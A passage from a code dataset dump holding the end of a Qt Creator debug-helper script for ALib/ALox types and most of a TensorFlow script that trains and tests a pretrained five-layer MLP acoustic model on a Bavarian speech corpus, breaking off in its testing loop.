\"\"\n zeroFound= 0\n for i in range(0, blob.size ):\n b= blob.extractByte(i)\n c= int(b)\n if (c < 0):\n c= c + 256\n if c == 0 and zeroFound == 0:\n asBuffer= \"('\\\\0' at %i!) \" % i + asBuffer\n zeroFound= 1\n\n if (c == 92):\n asBuffer+= r\"\\\\\"\n elif (c == 34):\n asBuffer+= r'\\\"'\n elif (c >= 32) and (c <= 127):\n asBuffer+= chr(c)\n elif (c < 32 ):\n asBuffer+= r'\\\\0'\n asBuffer+= str(int(c/8))\n asBuffer+= str( c%8 )\n else:\n asBuffer+= r'\\\\x'\n nibble= int(c/16)\n if ( nibble < 10 ):\n asBuffer+= chr( 48 + nibble )\n else:\n asBuffer+= chr( 55 + nibble )\n nibble= int(c%16)\n if ( nibble < 10 ):\n asBuffer+= chr( 48 + nibble )\n else:\n asBuffer+= chr( 55 + nibble )\n\n return asBuffer\n\n#----- String ------\ndef qdump__aworx__lib__strings__String(d, value):\n try:\n asBuffer= getASString( d, value )\n d.putValue( \"[\" + str(value[\"length\"]) + r\"] \\\"\" + asBuffer + r\"\\\"\" )\n except:\n d.putValue(\"\")\n return\n\n #----- expands normal object ----\n d.putNumChild(1)\n if d.isExpanded():\n d.putPlainChildren(value)\n return\n\n#----- Substring ------\ndef qdump__aworx__lib__strings__Substring(d, value):\n return qdump__aworx__lib__strings__String(d, value)\n\n#----- TString ------\ndef qdump__aworx__lib__strings__TString(d, value):\n try:\n asBuffer= getASString( d, value )\n d.putValue( \"T[\" + str(value[\"length\"]) + r\"] \\\"\" + asBuffer + r\"\\\"\" )\n\n except:\n d.putValue(\"\")\n return\n\n #----- expands normal object ----\n d.putNumChild(1)\n if d.isExpanded():\n d.putPlainChildren(value)\n\n return\n\n#----- AString ------\ndef qdump__aworx__lib__strings__AString(d, value):\n try:\n asBuffer= getASString( d, value )\n d.putValue( \"[\" + str(value[\"length\"]) +\"/\" + str(value[\"capacity\"]) + r\"] \\\"\" + asBuffer + r\"\\\"\" )\n\n except:\n d.putValue(\"\")\n return\n\n #----- expands normal object ----\n d.putNumChild(1)\n if d.isExpanded():\n d.putPlainChildren(value)\n\n return\n\n\n#----- PreallocatedString ------\ndef qdump__aworx__lib__strings__PreallocatedString(d, value):\n return qdump__aworx__lib__strings__AString(d, value)\n\n\n#----- StringLiteral ------\ndef qdump__aworx__lib__strings__StringLiteral(d, value):\n try:\n d.putValue( \"Lit<\" + str(value[\"length\"]) + r\">: \\\"\" + getASString( d, value ) + r\"\\\"\" )\n\n except:\n d.putValue(\"\")\n return\n\n #----- expands normal object ----\n d.putNumChild(1)\n if d.isExpanded():\n d.putPlainChildren(value)\n\n return\n\n#----- Tokenizer ------\ndef qdump__aworx__lib__strings__Tokenizer(d, value):\n\n try:\n d.putValue( r\"Actual: \\\"\" + getASString( d, value[\"Actual\"] ) + r\"\\\" Rest: \\\"\" + getASString( d, value[\"Rest\"] ) + r\"\\\"\" )\n\n except:\n d.putValue(\"\")\n return\n\n #----- expands normal object ----\n d.putNumChild(1)\n if d.isExpanded():\n d.putPlainChildren(value)\n\n return\n\n############################ ALIB System #############################\n\n#----- Directory ------\ndef qdump__aworx__lib__system__Directory(d, value):\n # get member path\n asPathBuffer= getASString( d, value[\"Path\"] )\n\n # write result\n d.putValue( asPathBuffer )\n\n #----- expands normal object ----\n d.putNumChild(1)\n if d.isExpanded():\n d.putPlainChildren(value)\n return\n\n\n############################ ALIB Thread #############################\n\n#----- Thread ------\ndef getThreadIDAndName(d, value):\n return \"(\" + str(value[\"id\"]) + \") \" + getASString( d, value[\"name\"] )\n\n\ndef qdump__aworx__lib__threads__Thread(d, value):\n\n dhResult = getThreadIDAndName( d, value )\n dhResult+= \" (Alive/\" if (value[\"isAliveFlag\"] != 0) else \" (Not alive/\"\n dhResult+= \"User)\" if (value[\"id\"] > 0) else \"System)\"\n d.putValue( dhResult )\n\n #----- expands normal object ----\n d.putNumChild(1)\n if d.isExpanded():\n d.putPlainChildren(value)\n\n return\n\n#----- ThreadLockNR ------\ndef qdump__aworx__lib__threads__ThreadLockNR(d, value):\n\n tnrIsAcquired= value[\"dbgIsAcquired\"]\n dhResult= \"Unlocked\" if (tnrIsAcquired == 0) else \"Locked\"\n\n if value[\"mutex\"] == 0:\n dhResult+= \" (Unsafe mode!)\"\n\n d.putValue( dhResult )\n\n #----- expands normal object ----\n d.putNumChild(1)\n if d.isExpanded():\n d.putPlainChildren(value)\n\n return\n\n#----- ThreadLock ------\ndef qdump__aworx__lib__threads__ThreadLock(d, value):\n\n tnrCntLock= value[\"cntAcquirements\"]\n if tnrCntLock == 0:\n dhResult= \"Unlocked\"\n\n elif tnrCntLock == 1:\n dhResult= \"Locked\"\n\n elif tnrCntLock < 0:\n dhResult= \"Illegal State. cntAcquirements=\" + str(tnrCntLock)\n\n else:\n dhResult= \"Locked (\" + str(tnrCntLock) +\")\"\n\n if value[\"lockMode\"] != 0:\n dhResult+= \" (Non-Recursive)\"\n\n if value[\"mutex\"] == 0:\n dhResult+= \" (Unsafe mode!)\"\n else:\n if tnrCntLock >= 1:\n dhResult+= \", Owner: \" + getThreadIDAndName( d, value[\"owner\"] )\n\n d.putValue( dhResult )\n\n #----- expands normal object ----\n d.putNumChild(1)\n if d.isExpanded():\n d.putPlainChildren(value)\n\n return\n\n\n############################ ALox #############################\n\n#----- Verbosity ------\ndef VerbosityHelper(value):\n if value == 0:\n return \"Verbose\"\n if value == 1:\n return \"Info\"\n if value == 2:\n return \"Warning\"\n if value == 3:\n return \"Error\"\n if value == 4:\n return \"Off\"\n\n return\"\"\n\n\n#----- Logger Types ------\n\ndef getLoggerDescription(d, value):\n result= getASString( d, value[\"name\"] )\n\n if not areEqualStrings(d, value[\"name\"], d, value[\"typeName\"] ):\n result+= \" (\" + getASString( d, value[\"typeName\"] ) + \")\"\n result+= \" [\" + str(value[\"CntLogs\"] ) + \"]\"\n\n return result\n\ndef stdLoggerHelper(d, value):\n d.putValue( getLoggerDescription( d, value ) )\n\n #----- expands normal object ----\n d.putNumChild(1)\n if d.isExpanded():\n d.putPlainChildren(value)\n\n#----- do the same for all Logger types ------\ndef qdump__aworx__lox__core__Logger(d, value):\n stdLoggerHelper(d, value)\n\ndef qdump__aworx__lox__core__textlogger__TextLogger(d, value):\n stdLoggerHelper(d, value)\n\ndef qdump__aworx__lox__loggers__AnsiLogger(d, value):\n stdLoggerHelper(d, value)\n\ndef qdump__aworx__lox__loggers__AnsiConsoleLogger(d, value):\n stdLoggerHelper(d, value)\n\ndef qdump__aworx__lox__loggers__ConsoleLogger(d, value):\n stdLoggerHelper(d, value)\n\ndef qdump__aworx__lox__loggers__MemoryLogger(d, value):\n stdLoggerHelper(d, value)\n\n#----- LogDomain ------\ndef getLogDomainFullName(d, domain, actString):\n\n actString= \"\"\n omitFirstSlash= domain[\"Parent\"] != 0\n while True:\n if omitFirstSlash == False:\n actString= \"/\" + actString\n omitFirstSlash= False\n\n if domain[\"Name\"][\"length\"] != 0:\n actString= getASString( d, domain[\"Name\"] ) + actString\n domain= domain[\"Parent\"]\n if domain == 0:\n break\n\n return actString\n\ndef qdump__aworx__lox__core__Domain(d, value):\n dhResult= getLogDomainFullName(d, value, \"\")\n dhResult+= \" [\" + str(value[\"CntLogCalls\"]) + \"]\"\n d.putValue( dhResult )\n\n #----- expands normal object ----\n d.putNumChild(1)\n if d.isExpanded():\n d.putPlainChildren(value)\n\ndef qdump__aworx__lox__core__Domain__LoggerData(d, value):\n dhResult = \"<\" + VerbosityHelper( value[\"LoggerVerbosity\"] )\n dhResult+= \", \" + getLoggerDescription(d, value[\"Logger\"])\n dhResult+= \">[\" + str(value[\"CntLogCalls\"]) + \"]\"\n\n d.putValue( dhResult )\n\n #----- expands normal object ----\n d.putNumChild(1)\n if d.isExpanded():\n d.putPlainChildren(value)\n\n#----- LogData ------\ndef qdump__aworx__lox__LogData(d, value):\n result= \"<\"\n\n type= value[\"Type\"]\n if type != 0:\n result+= \"Type=\" + str(type) + \", \"\n\n result+= str( value[\"IntegerValue\"] ) + \", \"\n result+= r\"\\\"\" + getASString( d, value[\"StringValue\" ] ) + r\"\\\", \"\n\n objectValue= value[\"ObjectValue\"]\n if objectValue != 0:\n result+= str(objectValue)\n else:\n result+= \"nullptr\"\n result+= \">\"\n\n d.putValue( result )\n\n #----- expands normal object ----\n d.putNumChild(1)\n if d.isExpanded():\n d.putPlainChildren(value)\n\n\n\n","sub_path":"tools/ideplugins/QTCreator/DebugHelpers/ALib_and_ALox_QTDBGHLP.py","file_name":"ALib_and_ALox_QTDBGHLP.py","file_ext":"py","file_size_in_byte":11959,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"13147468","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n'''\n#=======================================================================\n#Purpose: Acoustic Model (Speech Recognition) \n#\n#Model: 5 Hidden Layer MLP\n# 2048 nodes each layer, trained with Adam\n#\t\t ca. 17.6 Mio training parameter\n#\n#Inputs: Bavarian Speech Corpus (German)\n#\t\t training utterances: \t\t56127\n#\t\t validation utterances: \t 7012\n# test utterances: \t\t \t 7023\n# --------------------------------\n#\t\t total\t\t\t\t\t 70162\t\t\t\t\t\t\n#\n#\t\t shape of input: 1x273 vector (39MFCCcoeff * 7frames)\n#\n#Output: 135 classes (45 monophones with 3 HMM states each)\n#Version: 4/2017 Roboball (MattK.)\n\n#Start tensorboard via bash: \ttensorboard --logdir /logfile/directory\n#Open Browser for tensorboard: localhost:6006\n#tensorboard --logdir /home/praktiku/korf/speechdata/tboard_logs/MLP_5layer_2017-05-10_14:04\n#https://github.com/RuiShu/micro-projects/blob/master/tf-batchnorm-guide/batchnorm_guide.ipynb\n#=======================================================================\n'''\n\nimport numpy as np\nimport tensorflow as tf\nimport random\nimport re\nimport datetime \nimport matplotlib.pyplot as plt\nimport matplotlib.image as pltim\nimport os\nimport scipy.io\nimport h5py\n\ntry:\n\timport cPickle as pickle\nexcept:\n import _pickle as pickle\n\n# remove warnings from tf\nos.environ['TF_CPP_MIN_LOG_LEVEL']='2'\n\n########################################################################\n# define functions:\n########################################################################\n\ndef loadMatfile(datapath):\n\t'''load pretrained model from .mat file:'''\n\tmat = scipy.io.loadmat(datapath)\n\t#get sorted list of dict keys:\n\tprint('mat_keys:')\n\tfor key, value in sorted(mat.items()):\n\t\tprint (key)\n\tprint('===========================================')\n\treturn mat\n\ndef loadNamefiles(filenames):\n\t'''load dataset-names from .txt files:'''\n\t#load dataset-names from .txt files:\n\treturn np.genfromtxt(filenames, delimiter=\" \",dtype='str')\n\t\t\ndef loadPatData(filename, headerbytes):\n\t'''load Pattern files:x num of coefficients, 12byte header'''\n\twith open(filename, 'rb') as fid:\n\t\tframes = np.fromfile(fid, dtype=np.int32) #get frames\n\t\t#print (frames[0])\n\t\tfid.seek(headerbytes, os.SEEK_SET) # read in without header offset\n\t\tdatafile = np.fromfile(fid, dtype=np.float32).reshape((frames[0], coeffs)).T \n\treturn datafile\n\ndef padUtterance(framenum, labelfile, datafile):\n\t'''pad utterance on both sides'''\n\tif labelfile.shape[0] != datafile.shape[1]:\n\t\tlabelfile = labelfile[0:-1]\t\n\t#extract start and end vectors\n\tstartveclabel = int(labelfile[0])\n\tstartvecdata = datafile[:,0]\n\tendveclabel = int(labelfile[-1])\n\tendvecdata = datafile[:,-1]\t\n\t#compose pads\n\tstartmatlabel = np.tile(startveclabel,int((framenum-1)/2))\n\tstartmatdata = np.tile(startvecdata,(int((framenum-1)/2),1)).T\t\n\tendmatlabel = np.tile(endveclabel,int((framenum-1)/2))\n\tendmatdata = np.tile(endvecdata,(int((framenum-1)/2),1)).T\t\n\t#pad utterance\n\tpaddedlabel = np.concatenate((startmatlabel, labelfile, endmatlabel), axis=0)\n\tpaddeddata = np.concatenate((startmatdata,datafile, endmatdata), axis=1)\t\t\n\treturn paddedlabel, paddeddata\n\t\ndef slidingWin(framenum, paddedlabel, paddeddata):\n\t'''create sliding windows to extract chunks'''\n\t#init: empty lists\n\tlabellist=[]\n\tdatalist=[]\t\n\t#sliding window over utterance\n\tfor pos in range(paddedlabel.shape[0]-framenum+1):\n\t\tslicelabel = paddedlabel[pos:pos+framenum]\n\t\tlabel = slicelabel[int((framenum-1)/2)]\n\t\tslicedata = paddeddata[:,pos:pos+framenum]\n\t\tslicedata_vec = np.reshape(slicedata, (coeffs*framenum), order='F') \t\n\t\tlabellist.append(label)\n\t\tdatalist.append(slicedata_vec)\t\t\n\treturn labellist, datalist\n\t\ndef createRandomvec(randomint, epochlength):\n\t'''create random vector'''\n\tnp.random.seed(randomint)\n\trandomvec = np.arange(epochlength)\n\tnp.random.shuffle(randomvec)\n\treturn randomvec\n\ndef randomShuffleData(randomint, dataset_name):\n\t'''based on createRandomvec shuffle data randomly'''\n\tdatasetlength = len(dataset_name)\n\t#init random list\n\tdataset_rand = []\n\t#create random vector\n\trandomvec = createRandomvec(randomint, datasetlength)\n\t#fill random list\n\tfor pos in range(datasetlength):\n\t\tdataset_rand.append(dataset_name[randomvec[pos]])\n\treturn dataset_rand\n\t\t\ndef createMinibatchData(minibatchsize, framenum, datavectorbuffer):\n\t'''create minibatches from databuffer'''\n\tminibatchdata = np.zeros(shape=(minibatchsize,framenum * coeffs))\t\t\n\t#save vectors to minibatch array\n\tfor vectorpos in range(minibatchsize):\n\t\tminibatchdata[vectorpos][:] = datavectorbuffer[vectorpos]\n\treturn minibatchdata\n\ndef createMinibatchLabel(minibatchsize , classnum, labelbuffer):\n\t'''create one hot encoding from labels'''\n\t#init labels with zeros\n\tminibatchlabel = np.zeros(shape=(minibatchsize,classnum))\t\n\t#one-hot-encoding\n\tfor labelpos in range(minibatchsize):\t\n\t\tlabel = int(labelbuffer[labelpos])\n\t\tminibatchlabel[labelpos][label-1] = 1.0\n\treturn minibatchlabel\t\n\ndef Preprocess(framenum, randbatnum, dataset_name, path):\n\t'''load data and label files, pad utterance, create chunks'''\n\t#init params:\t\t \n\theaderbytes = 12\n\t#datapath = path + \"00_data/pattern_dft_16k/\"\n\tdatapath = path + \"00_data/pattern_hghnr_39coef/\"\n\tlabelpath = path + \"00_data/nn_output/\"\t\n\t#load data file:\n\tdatafilename = datapath + dataset_name[randbatnum]\n\tdatafile = loadPatData(datafilename, headerbytes)\t\n\t#load label file:\n\tdataset_namelab = dataset_name[randbatnum][:-4]+\".txt\"\n\tinputlabel = labelpath + dataset_namelab\n\tlabelfile = np.loadtxt(inputlabel) #read in as float\n\t#pad utterance:\n\tpaddedlabel, paddeddata = padUtterance(framenum, labelfile, datafile)\t\n\t#extract vector and labels by sliding window:\n\tlabellist, datavectorlist = slidingWin(framenum, paddedlabel, paddeddata)\t\n\treturn labellist, datavectorlist\n\ndef Databuffer(buffersamples, framenum, dataset_name, path):\n\t'''create buffer for minibatch'''\n\t#init buffer\n\tlabelbuffer = []\n\tdatavectorbuffer = []\t\n\tfor pos in range(buffersamples):\t\t\n\t\tlabellist, datavectorlist = Preprocess(framenum, pos, dataset_name, path)\n\t\tlabelbuffer = labelbuffer+labellist\n\t\tdatavectorbuffer = datavectorbuffer+datavectorlist\n\treturn labelbuffer, datavectorbuffer\n\ndef phonemeDict():\n\t'''Dictionary for classes'''\n\tphoneme_dict = [\"@\",\"a\",\"a:\",\"aI\",\"an\",\"ar\",\"aU\",\"b\",\"C\",\"d\",\"e:\",\"E\",\n\t\"E:\",\"f\",\"g\",\"h\",\"i:\",\"I\",\"j\",\"k\",\"l\",\"m\",\"n\",\"N\",\"o:\",\"O\",\"Oe\",\"On\",\n\t\"OY\",\"p\",\"r\",\"s\",\"S\",\"sil\",\"sp\",\"t\",\"u\",\"u:\",\"U\",\"v\",\"x\",\"y:\",\"Y\",\"z\",\"Z\"]\n\t#create label translation\n\tphoneme_lab = np.arange(135).astype('str')\n\tpos=0\n\tfor phoneme in phoneme_dict:\n\t\tphoneme_lab[pos*3:pos*3+3] = phoneme\n\t\tpos += 1\n\treturn phoneme_lab\n\t\ndef phonemeTranslator(labels,phoneme_labels):\n\t'''translate labels into phonemes'''\n\tlabel_transcript = np.copy(labels).astype(str)\t\n\tfor pos in range(len(labels)):\n\t\tphon = phoneme_labels[int(labels[pos])-1]\n\t\tlabel_transcript[pos] = phon\t\n\t#print(\"labels utterance: \"+str(labels))\n\t#print(label_transcript)\t\n\treturn label_transcript\n\n########################################################################\n# init parameter\n########################################################################\n\nprint('=============================================')\nprint(\"load pretrained model\")\nprint('=============================================\\n')\n\n#load pretrained model:\nmat = loadMatfile('pretrained_MLP/MLP_5layer_pretrained_2017-06-07_14:39_0.598.mat')\n\n# fix initial randomness:\nrandomint = 50\nmodtype = \"MLP\" \nmodlayer = 5\t \t\n\n# get timestamp:\ntimestamp = str(datetime.datetime.now())\ndaytime = timestamp[11:-10]\ndate = timestamp[0:-16]\ntimemarker = date+\"_\" + daytime\n\n# init paths:\n#path \t = \"/home/praktiku/korf/BA_05/\" #on praktiku@dell9\n#path \t = \"/home/praktiku/Videos/BA_05/\" #on praktiku@dell8 (labor)\npath \t = \"/home/korf/Desktop/BA_05/\" #on korf@lynx5 (labor)\npathname = \"00_data/dataset_filenames/\"\nlogdir = \"tboard_logs/\"\ntboard_path = path + logdir\ntboard_name = modtype + \"_\"+ str(modlayer)+ \"layer_\"+ str(timemarker)\n\n# init filenames:\ntrainset_filename = 'trainingset.txt'\nvalidationset_filename = 'validationset.txt'\ntestset_filename = 'testset.txt'\n\n#load filenames:\ntrainset_name = loadNamefiles(path + pathname + trainset_filename)\nvalset_name = loadNamefiles(path + pathname + validationset_filename)\ntestset_name = loadNamefiles(path + pathname + testset_filename)\n\ntestset_digits_x = loadNamefiles(path + pathname + 'testset_digits.txt')\ntestset_digits = np.empty_like(testset_digits_x)\nfor pos in range(len(testset_digits_x)):\n\ttestset_digits[pos] = testset_digits_x[pos][32:45]+\"pat\"\n#~ print(testset_digits[9])\n\t\t\t\n# init model parameter:\ncoeffs = 39 \nnodes = 4*512 \t\t\t\t\t\t\t#size of hidden layer\nclassnum = 135 \t\t\t\t\t\t\t#number of output classes\nframenum = 15 \t\t\t\t\t\t\t#number of frames\ninputnum = framenum * coeffs \t\t\t\t#length of input vector\ndisplay_step = 100 \t\t\t\t\t\t#to show progress\nbnorm = 'no_bnorm'\n\n# error message frame number:\nif framenum%2==0:\n\tprint(\"Error, please choose uneven number of frames.\")\n\t\n# init training parameter:\nepochs = 1\t #1 epoch: ca. 1hour10min\nlearnrate = 1e-5 #high:1e-4\ntrain_size = len(trainset_name) \nval_size = len(valset_name)\ntolerance = 0.01 #break condition \nbatsize_train = 256\t\t\t\t\t\t\t\t\t\t\t\t\t\nbatches_train = int(train_size / batsize_train) #round down\nbuffer_train = 10 \t\t#choose number utterances in buffer\ntrain_samples = int(train_size/buffer_train)\ntrain_samples = 10\n\n#~ # init test parameter:\n#~ test_size = len(testset_name)\t\n#~ batsize_test = 100\n#~ batches_test = int(test_size / batsize_test) #round down\n#~ buffer_test = 10\n#~ test_samples = int(test_size/buffer_test) #number of test_samples\n#~ #test_samples = 10\n\n\n# init emission probs parameter\t\nbatsize_test2=1\nbuffer_test2=1\ntest_samples2=10\n\n#test digits:\ntest_size = len(testset_digits)\nbatsize_test = 100\nbatches_test = int(test_size / batsize_test) #round down\nbuffer_test = 10\ntest_samples3 = int(test_size /buffer_test) \n\n#random shuffle filenames:\nvalset_rand = randomShuffleData(randomint, valset_name)\n#random shuffle weights inits:\nrand_w = createRandomvec(randomint, modlayer+1)\n\n########################################################################\n# init and define model:\n########################################################################\n\n# init model:\ndef weight_variable(pretrained_weight):\n\t'''init weights'''\n\t#initial = tf.truncated_normal(shape, stddev=0.1)\n\treturn tf.Variable(pretrained_weight, name=\"W\")\n\t\ndef bias_variable(pretrained_bias):\n\t'''init biases'''\n\t#initial = tf.constant(0.1, shape=shape)\n\treturn tf.Variable(pretrained_bias, name=\"b\")\n\ndef matmul(x, W, b, name=\"fc\"):\n\t'''matrix vector multiplication'''\n\twith tf.name_scope(name):\n\t return tf.add(tf.matmul(x, W), b)\n\t\t\ndef dense(x, W, b, name=\"dense\"):\n\t'''matrix vector multiplication'''\n\twith tf.name_scope(name):\n\t\treturn tf.add(tf.matmul(x, W), b)\n\t\t \ndef activfunction(x, acttype):\n\t'''activation functions'''\n\tif acttype == \"tanh\":\n\t\tactivation_array = tf.tanh(x)\n\telif acttype == \"relu\":\n\t\tactivation_array = tf.nn.relu(x)\n\telse:\n\t\tactivation_array = tf.sigmoid(x)\n\treturn activation_array\n\n# init activation function:\nactdict = [\"tanh\", \"relu\", \"sigmoid\"]\nacttype = actdict[0]\n\n# init placeholder:\nx_input = tf.placeholder(tf.float32, shape=[None, inputnum],name=\"input\")\ny_target = tf.placeholder(tf.float32, shape=[None, classnum],name=\"labels\")\n\n# init weights:\t\n# 1. hidden layer\nwith tf.name_scope(name=\"fc1\"):\n\tW1 = weight_variable(mat[sorted(list(mat.keys()))[0]])\n\tb1 = bias_variable(mat[sorted(list(mat.keys()))[14]])\n\ttf.summary.histogram(\"weights\", W1)\n\ttf.summary.histogram(\"biases\", b1) \n# 2. hidden layer \nwith tf.name_scope(name=\"fc2\"):\n\tW2 = weight_variable(mat[sorted(list(mat.keys()))[1]])\n\tb2 = bias_variable(mat[sorted(list(mat.keys()))[15]])\n\ttf.summary.histogram(\"weights\", W2)\n\ttf.summary.histogram(\"biases\", b2) \n# 3. hidden layer\nwith tf.name_scope(name=\"fc3\"):\n\tW3 = weight_variable(mat[sorted(list(mat.keys()))[2]])\n\tb3 = bias_variable(mat[sorted(list(mat.keys()))[16]])\n\ttf.summary.histogram(\"weights\", W3)\n\ttf.summary.histogram(\"biases\", b3) \n# 4. hidden layer\nwith tf.name_scope(name=\"fc4\"):\n\tW4 = weight_variable(mat[sorted(list(mat.keys()))[3]])\n\tb4 = bias_variable(mat[sorted(list(mat.keys()))[17]])\n\ttf.summary.histogram(\"weights\", W4)\n\ttf.summary.histogram(\"biases\", b4) \n# 5. hidden layer\nwith tf.name_scope(name=\"fc5\"):\n\tW5 = weight_variable(mat[sorted(list(mat.keys()))[4]])\n\tb5 = bias_variable(mat[sorted(list(mat.keys()))[18]])\n\ttf.summary.histogram(\"weights\", W5)\n\ttf.summary.histogram(\"biases\", b5)\n# 6. output layer\nwith tf.name_scope(name=\"fc6\"):\n\tW6 = weight_variable(mat[sorted(list(mat.keys()))[5]])\n\tb6 = bias_variable(mat[sorted(list(mat.keys()))[19]])\n\ttf.summary.histogram(\"weights\", W6)\n\ttf.summary.histogram(\"biases\", b6)\n\n# define model:\nlayer_1 = activfunction(matmul(x_input,W1,b1,name=\"fc1\"),acttype)\nlayer_2 = activfunction(matmul(layer_1,W2,b2,name=\"fc2\"),acttype)\nlayer_3 = activfunction(matmul(layer_2,W3,b3,name=\"fc3\"),acttype)\nlayer_4 = activfunction(matmul(layer_3,W4,b4,name=\"fc4\"),acttype) \nlayer_5 = activfunction(matmul(layer_4,W5,b5,name=\"fc5\"),acttype)\nlayer_6 = dense(layer_5, W6, b6)\n\n# define classifier, cost function:\nsoftmax = tf.nn.softmax(layer_6)\n\n# define loss, optimizer, accuracy:\nwith tf.name_scope(\"cross_entropy\"):\n\tcross_entropy = tf.reduce_mean(\n\ttf.nn.softmax_cross_entropy_with_logits(logits= layer_6,labels = y_target))\n\ttf.summary.scalar(\"cross_entropy\", cross_entropy)\nwith tf.name_scope(\"train\"):\n\toptimizer = tf.train.AdamOptimizer(learnrate).minimize(cross_entropy)\nwith tf.name_scope(\"accuracy\"):\n\tcorrect_prediction = tf.equal(tf.argmax(layer_6,1), tf.argmax(y_target,1))\n\taccuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\n\ttf.summary.scalar(\"accuracy\", accuracy)\n\n# merge all summaries for tensorboard:\t\nsumm = tf.summary.merge_all()\n\n# init tf session :\nsess = tf.InteractiveSession()\n# save and restore all the variables:\nsaver = tf.train.Saver()\n# start session:\nsess.run(tf.global_variables_initializer()) \n# init tensorboard\nwriter = tf.summary.FileWriter(tboard_path + tboard_name)\nwriter.add_graph(sess.graph)\n\n# print out model info:\nprint(\"**********************************\")\nprint(\"model: 5 hidden layer MLP\")\nprint(\"**********************************\")\nprint(\"hidden units: \"+str(nodes)+\" each layer\")\nprint(\"activation function: \"+str(acttype))\nprint(\"optimizer: Adam\")\nprint(\"----------------------------------\")\nprint(\"data name: Bavarian Speech Corpus\")\nprint(\"training data: \" +str(train_size))\nprint(\"validation data: \" +str(val_size))\nprint(\"test data: \" +str(test_size)+\"\\n\")\n\n########################################################################\n# training loop:\n########################################################################\n\ndef training(epochs=1,train_samples=10):\n\t'''train the neural model'''\n\tprint('=============================================')\n\tprint('start '+str(modtype)+' training')\n\tprint('=============================================')\n\tt1_1 = datetime.datetime.now()\n\t\n\t# init cost, accuracy:\n\tcrossval_history = np.empty(shape=[0],dtype=float)\n\tcost_history = np.empty(shape=[0],dtype=float)\n\ttrain_acc_history = np.empty(shape=[0],dtype=float)\n\n\t# epoch loop:\n\tfor epoch in range(1,epochs+1):\n\t\t\n\t\t#random shuffle filenames for each epoch:\n\t\trandomint_train = epoch + 100\n\t\ttrainset_rand = randomShuffleData(randomint_train, trainset_name)\n\t\t\n\t\t#training loop: length = int(train_size/buffersamples)\t\n\t\tfor buffernum in range(train_samples):\n\t\t\t\n\t\t\t#grab linear utterances (buffersamples) from random trainset:\n\t\t\ttrainset_buffernum = trainset_rand[buffernum * buffer_train:(buffernum * buffer_train) + buffer_train]\n\t\t\t\n\t\t\t#create buffer:\n\t\t\tlabelbuffer, datavectorbuffer = Databuffer(buffer_train, framenum, trainset_buffernum, path)\n\t\t\tbufferlength = len(labelbuffer)\n\t\t\t#~ print(\"buffer number: \"+str(buffernum))\n\t\t\t#~ print(\"buffer length: \"+str(bufferlength))\n\t\t\t\n\t\t\t#get number of minibatches from buffer:\n\t\t\tminibatches = int(bufferlength/batsize_train)\n\t\t\t#~ print(\"number of minibatches: \"+str(minibatches))\n\t\t\t\n\t\t\t#minibatch loop per buffer:\n\t\t\tfor batch in range(minibatches):\n\t\t\t\t\n\t\t\t\t#grab linear minibatch datavectors from databuffer:\n\t\t\t\tdatavector = datavectorbuffer[batch * batsize_train: (batch * batsize_train)+batsize_train]\t\t\n\t\t\t\t#grab linear minibatch labels from labelbuffer:\t\t\n\t\t\t\tlabelvector = labelbuffer[batch * batsize_train: (batch * batsize_train)+batsize_train]\n\t\t\t\t\t\t\t\n\t\t\t\t#minibatch data:\n\t\t\t\ttrainbatchdata = createMinibatchData(batsize_train, framenum, datavector)\n\t\t\t\t#minibatch labels: one hot encoding\n\t\t\t\ttrainbatchlabel = createMinibatchLabel(batsize_train, classnum, labelvector)\n\t\t\t\t\t\t\n\t\t\t\t#start feeding data into the model:\n\t\t\t\tfeedtrain = {x_input: trainbatchdata, y_target: trainbatchlabel}\n\t\t\t\toptimizer.run(feed_dict = feedtrain)\n\t\t\t\t\n\t\t\t\t#log history for tensorboard\n\t\t\t\tif batch % 5 == 0:\n\t\t\t\t\t[train_accuracy, s] = sess.run([accuracy, summ], feed_dict=feedtrain)\n\t\t\t\t\twriter.add_summary(s, batch)\n\t\t\t\t\t\n\t\t\t\t#get cost_history, accuracy history data:\n\t\t\t\tcost_history = np.append(cost_history,sess.run(cross_entropy,feed_dict=feedtrain))\n\t\t\t\ttrain_acc_history = np.append(train_acc_history,sess.run(accuracy,feed_dict=feedtrain))\n\t\t\t\n\t\t\t#check progress: training accuracy\n\t\t\tif buffernum%10 == 0:\n\t\t\t\ttrain_accuracy = accuracy.eval(feed_dict=feedtrain)\n\t\t\t\tcrossvalidationloss = sess.run(cross_entropy,feed_dict=feedtrain)\n\t\t\t\tcrossval_history = np.append(crossval_history,crossvalidationloss)\n\t\t\t\tt1_2 = datetime.datetime.now()\n\t\t\t\tprint('epoch: '+ str(epoch)+'/'+str(epochs)+\n\t\t\t\t' -- training utterance: '+ str(buffernum * buffer_train)+'/'+str(train_size)+\n\t\t\t\t\" -- cross validation loss: \" + str(crossvalidationloss)[0:-2])\n\t\t\t\tprint('training accuracy: %.2f'% train_accuracy + \n\t\t\t\t\" -- training time: \" + str(t1_2-t1_1)[0:-7])\n\t\t\t\t\n\t\t\t#~ #stopping condition:\n\t\t\t#~ if abs(crossval_history[-1] - crossval_history[-2]) < tolerance:\n\t\t\t\t#~ break\n\t\tprint('=============================================')\n\t\n\tprint('=============================================')\n\t#Total Training Stats:\n\ttotal_trainacc = np.mean(train_acc_history, axis=0)\n\tprint(\"overall training accuracy %.3f\"%total_trainacc) \n\tt1_3 = datetime.datetime.now()\n\ttrain_time = t1_3-t1_1\n\tprint(\"total training time: \" + str(train_time)[0:-7]+'\\n')\t\n\t\n\treturn train_acc_history, cost_history, crossval_history, train_time, total_trainacc\n\t\n\t\n########################################################################\n#start testing:\n########################################################################\n\ndef testing(testset_names,test_samples=10,batsize_test=1,buffer_test=10, randomint_test=1):\n\t'''test the neural model'''\n\tprint('=============================================')\n\tprint('start '+str(modtype)+' testing')\n\tprint('=============================================')\n\tt2_1 = datetime.datetime.now()\n\t\n\t#init histories\n\ttest_acc_history = np.empty(shape=[0],dtype=float)\n\ttest_filenames_history = np.empty(shape=[0],dtype=str)\n\ttest_softmax_list = []\n\tlabel_transcript_list = []\n\ttest_max_transcript_list = []\n\t\n\t#get label-dictionary:\n\tphoneme_labels = phonemeDict()\n\tif test_samples < 20:\n\t\tprint(\"phoneme_labels: \")\n\t\tprint(phoneme_labels)\n\t\tprint(\" \")\n\t\n\t#random shuffle filenames:\t\n\ttestset_rand = randomShuffleData(randomint_test, testset_names)\n\t\n\t#test loop: length = int(test_size/buffersamples)\n\tfor buffernum 